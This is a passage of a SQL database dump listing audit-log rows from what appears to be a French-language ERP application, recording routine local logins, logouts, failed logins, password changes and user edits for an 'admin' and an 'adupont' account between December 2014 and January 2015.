16:59:13',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(151,'2014-12-09 11:49:52','USER_LOGIN',1,'2014-12-09 12:49:52',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(152,'2014-12-09 13:46:31','USER_LOGIN',1,'2014-12-09 14:46:31',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(153,'2014-12-09 19:03:14','USER_LOGIN',1,'2014-12-09 20:03:14',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(154,'2014-12-10 00:16:31','USER_LOGIN',1,'2014-12-10 01:16:31',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(170,'2014-12-11 22:03:31','USER_LOGIN',1,'2014-12-11 23:03:31',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(171,'2014-12-12 00:32:39','USER_LOGIN',1,'2014-12-12 01:32:39',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(172,'2014-12-12 10:49:59','USER_LOGIN',1,'2014-12-12 11:49:59',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(175,'2014-12-12 10:57:40','USER_MODIFY',1,'2014-12-12 11:57:40',1,'Modification utilisateur admin','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(176,'2014-12-12 13:29:15','USER_LOGIN',1,'2014-12-12 14:29:15',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(177,'2014-12-12 13:30:15','USER_LOGIN',1,'2014-12-12 14:30:15',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(178,'2014-12-12 13:40:08','USER_LOGOUT',1,'2014-12-12 14:40:08',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(179,'2014-12-12 13:40:10','USER_LOGIN',1,'2014-12-12 14:40:10',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(180,'2014-12-12 13:40:26','USER_MODIFY',1,'2014-12-12 14:40:26',1,'Modification utilisateur admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(181,'2014-12-12 13:40:34','USER_LOGOUT',1,'2014-12-12 14:40:34',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(182,'2014-12-12 13:42:23','USER_LOGIN',1,'2014-12-12 14:42:23',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(183,'2014-12-12 13:43:02','USER_NEW_PASSWORD',1,'2014-12-12 14:43:02',NULL,'Changement mot de passe de admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(184,'2014-12-12 13:43:25','USER_LOGOUT',1,'2014-12-12 14:43:25',1,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(185,'2014-12-12 13:43:27','USER_LOGIN_FAILED',1,'2014-12-12 14:43:27',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(186,'2014-12-12 13:43:30','USER_LOGIN',1,'2014-12-12 14:43:30',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(187,'2014-12-12 14:52:11','USER_LOGIN',1,'2014-12-12 15:52:11',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11',NULL,NULL,NULL,NULL),(188,'2014-12-12 17:53:00','USER_LOGIN_FAILED',1,'2014-12-12 18:53:00',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(189,'2014-12-12 17:53:07','USER_LOGIN_FAILED',1,'2014-12-12 18:53:07',NULL,'Identifiants login ou mot de passe incorrects - login=admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(190,'2014-12-12 17:53:51','USER_NEW_PASSWORD',1,'2014-12-12 18:53:51',NULL,'Changement mot de passe de admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(191,'2014-12-12 17:54:00','USER_LOGIN',1,'2014-12-12 18:54:00',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(192,'2014-12-12 17:54:10','USER_NEW_PASSWORD',1,'2014-12-12 18:54:10',1,'Changement mot de passe de admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(193,'2014-12-12 17:54:10','USER_MODIFY',1,'2014-12-12 18:54:10',1,'Modification utilisateur admin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(194,'2014-12-12 18:57:09','USER_LOGIN',1,'2014-12-12 19:57:09',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(195,'2014-12-12 23:04:08','USER_LOGIN',1,'2014-12-13 00:04:08',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(196,'2014-12-17 20:03:14','USER_LOGIN',1,'2014-12-17 21:03:14',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(197,'2014-12-17 21:18:45','USER_LOGIN',1,'2014-12-17 22:18:45',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(198,'2014-12-17 22:30:08','USER_LOGIN',1,'2014-12-17 23:30:08',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(199,'2014-12-18 23:32:03','USER_LOGIN',1,'2014-12-19 00:32:03',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(200,'2014-12-19 09:38:03','USER_LOGIN',1,'2014-12-19 10:38:03',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(201,'2014-12-19 11:23:35','USER_LOGIN',1,'2014-12-19 12:23:35',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(202,'2014-12-19 12:46:22','USER_LOGIN',1,'2014-12-19 13:46:22',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(214,'2014-12-19 19:11:31','USER_LOGIN',1,'2014-12-19 20:11:31',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(215,'2014-12-21 16:36:57','USER_LOGIN',1,'2014-12-21 17:36:57',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(216,'2014-12-21 16:38:43','USER_NEW_PASSWORD',1,'2014-12-21 17:38:43',1,'Changement mot de passe de adupont','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(217,'2014-12-21 16:38:43','USER_MODIFY',1,'2014-12-21 17:38:43',1,'Modification utilisateur adupont','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(218,'2014-12-21 16:38:51','USER_LOGOUT',1,'2014-12-21 17:38:51',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(219,'2014-12-21 16:38:55','USER_LOGIN',1,'2014-12-21 17:38:55',3,'(UserLogged,adupont)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(220,'2014-12-21 16:48:18','USER_LOGOUT',1,'2014-12-21 17:48:18',3,'(UserLogoff,adupont)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(221,'2014-12-21 16:48:20','USER_LOGIN',1,'2014-12-21 17:48:20',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(222,'2014-12-26 18:28:18','USER_LOGIN',1,'2014-12-26 19:28:18',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(223,'2014-12-26 20:00:24','USER_LOGIN',1,'2014-12-26 21:00:24',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(224,'2014-12-27 01:10:27','USER_LOGIN',1,'2014-12-27 02:10:27',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(225,'2014-12-28 19:12:08','USER_LOGIN',1,'2014-12-28 20:12:08',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(226,'2014-12-28 20:16:58','USER_LOGIN',1,'2014-12-28 21:16:58',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(227,'2014-12-29 14:35:46','USER_LOGIN',1,'2014-12-29 15:35:46',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(228,'2014-12-29 14:37:59','USER_LOGOUT',1,'2014-12-29 15:37:59',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(229,'2014-12-29 14:38:00','USER_LOGIN',1,'2014-12-29 15:38:00',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(230,'2014-12-29 17:16:48','USER_LOGIN',1,'2014-12-29 18:16:48',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(231,'2014-12-31 12:02:59','USER_LOGIN',1,'2014-12-31 13:02:59',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(232,'2015-01-02 20:32:51','USER_LOGIN',1,'2015-01-02 21:32:51',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:17.0) Gecko/20100101 Firefox/17.0',NULL,NULL,NULL,NULL),(233,'2015-01-02 20:58:59','USER_LOGIN',1,'2015-01-02 21:58:59',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(234,'2015-01-03 09:25:07','USER_LOGIN',1,'2015-01-03 10:25:07',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(235,'2015-01-03 19:39:31','USER_LOGIN',1,'2015-01-03 20:39:31',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(236,'2015-01-04 22:40:19','USER_LOGIN',1,'2015-01-04 23:40:19',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(237,'2015-01-05 12:59:59','USER_LOGIN',1,'2015-01-05 13:59:59',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(238,'2015-01-05 15:28:52','USER_LOGIN',1,'2015-01-05 16:28:52',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(239,'2015-01-05 17:02:08','USER_LOGIN',1,'2015-01-05 18:02:08',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(240,'2015-01-06 12:13:33','USER_LOGIN',1,'2015-01-06 13:13:33',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(241,'2015-01-07 01:21:15','USER_LOGIN',1,'2015-01-07 02:21:15',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(242,'2015-01-07 01:46:31','USER_LOGOUT',1,'2015-01-07 02:46:31',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(243,'2015-01-07 19:54:50','USER_LOGIN',1,'2015-01-07 20:54:50',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(244,'2015-01-08 21:55:01','USER_LOGIN',1,'2015-01-08 22:55:01',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(245,'2015-01-09 11:13:28','USER_LOGIN',1,'2015-01-09 12:13:28',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(246,'2015-01-10 18:30:46','USER_LOGIN',1,'2015-01-10 19:30:46',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(247,'2015-01-11 18:03:26','USER_LOGIN',1,'2015-01-11 19:03:26',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(248,'2015-01-12 11:15:04','USER_LOGIN',1,'2015-01-12 12:15:04',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(249,'2015-01-12 14:42:44','USER_LOGIN',1,'2015-01-12 15:42:44',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(250,'2015-01-13 12:07:17','USER_LOGIN',1,'2015-01-13 13:07:17',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(251,'2015-01-13 17:37:58','USER_LOGIN',1,'2015-01-13 18:37:58',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(252,'2015-01-13 19:24:21','USER_LOGIN',1,'2015-01-13 20:24:21',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(253,'2015-01-13 19:29:19','USER_LOGOUT',1,'2015-01-13 20:29:19',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(254,'2015-01-13 21:39:39','USER_LOGIN',1,'2015-01-13 22:39:39',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(255,'2015-01-14 00:52:21','USER_LOGIN',1,'2015-01-14 01:52:21',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11',NULL,NULL,NULL,NULL),(256,'2015-01-16 11:34:31','USER_LOGIN',1,'2015-01-16 12:34:31',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(257,'2015-01-16 15:36:21','USER_LOGIN',1,'2015-01-16 16:36:21',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(258,'2015-01-16 19:17:36','USER_LOGIN',1,'2015-01-16 20:17:36',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(259,'2015-01-16 19:48:08','GROUP_CREATE',1,'2015-01-16 20:48:08',1,'Création groupe ggg','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(260,'2015-01-16 21:48:53','USER_LOGIN',1,'2015-01-16 22:48:53',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(261,'2015-01-17 19:55:53','USER_LOGIN',1,'2015-01-17 20:55:53',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(262,'2015-01-18 09:48:01','USER_LOGIN',1,'2015-01-18 10:48:01',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(263,'2015-01-18 13:22:36','USER_LOGIN',1,'2015-01-18 14:22:36',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(264,'2015-01-18 16:10:23','USER_LOGIN',1,'2015-01-18 17:10:22',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(265,'2015-01-18 17:41:40','USER_LOGIN',1,'2015-01-18 18:41:40',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(266,'2015-01-19 14:33:48','USER_LOGIN',1,'2015-01-19 15:33:48',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(267,'2015-01-19 16:47:43','USER_LOGIN',1,'2015-01-19 17:47:43',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(268,'2015-01-19 16:59:43','USER_LOGIN',1,'2015-01-19 17:59:43',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(269,'2015-01-19 17:00:22','USER_LOGIN',1,'2015-01-19 18:00:22',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(270,'2015-01-19 17:04:16','USER_LOGOUT',1,'2015-01-19 18:04:16',1,'(UserLogoff,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(271,'2015-01-19 17:04:18','USER_LOGIN',1,'2015-01-19 18:04:18',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(272,'2015-01-20 00:34:19','USER_LOGIN',1,'2015-01-20 01:34:19',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(273,'2015-01-21 11:54:17','USER_LOGIN',1,'2015-01-21 12:54:17',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(274,'2015-01-21 13:48:15','USER_LOGIN',1,'2015-01-21 14:48:15',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(275,'2015-01-21 14:30:22','USER_LOGIN',1,'2015-01-21 15:30:22',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(276,'2015-01-21 15:10:46','USER_LOGIN',1,'2015-01-21 16:10:46',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(277,'2015-01-21 17:27:43','USER_LOGIN',1,'2015-01-21 18:27:43',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(278,'2015-01-21 21:48:15','USER_LOGIN',1,'2015-01-21 22:48:15',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(279,'2015-01-21 21:50:42','USER_LOGIN',1,'2015-01-21 22:50:42',1,'(UserLogged,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.52 Safari/537.17',NULL,NULL,NULL,NULL),(280,'2015-01-23 09:28:26','USER_LOGIN',1,'2015-01-23 10:28:26',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.56 Safari/537.17',NULL,NULL,NULL,NULL),(281,'2015-01-23 13:21:57','USER_LOGIN',1,'2015-01-23 14:21:57',1,'(UserLogged,admin)','::1','Mozilla/5.0 (X11; 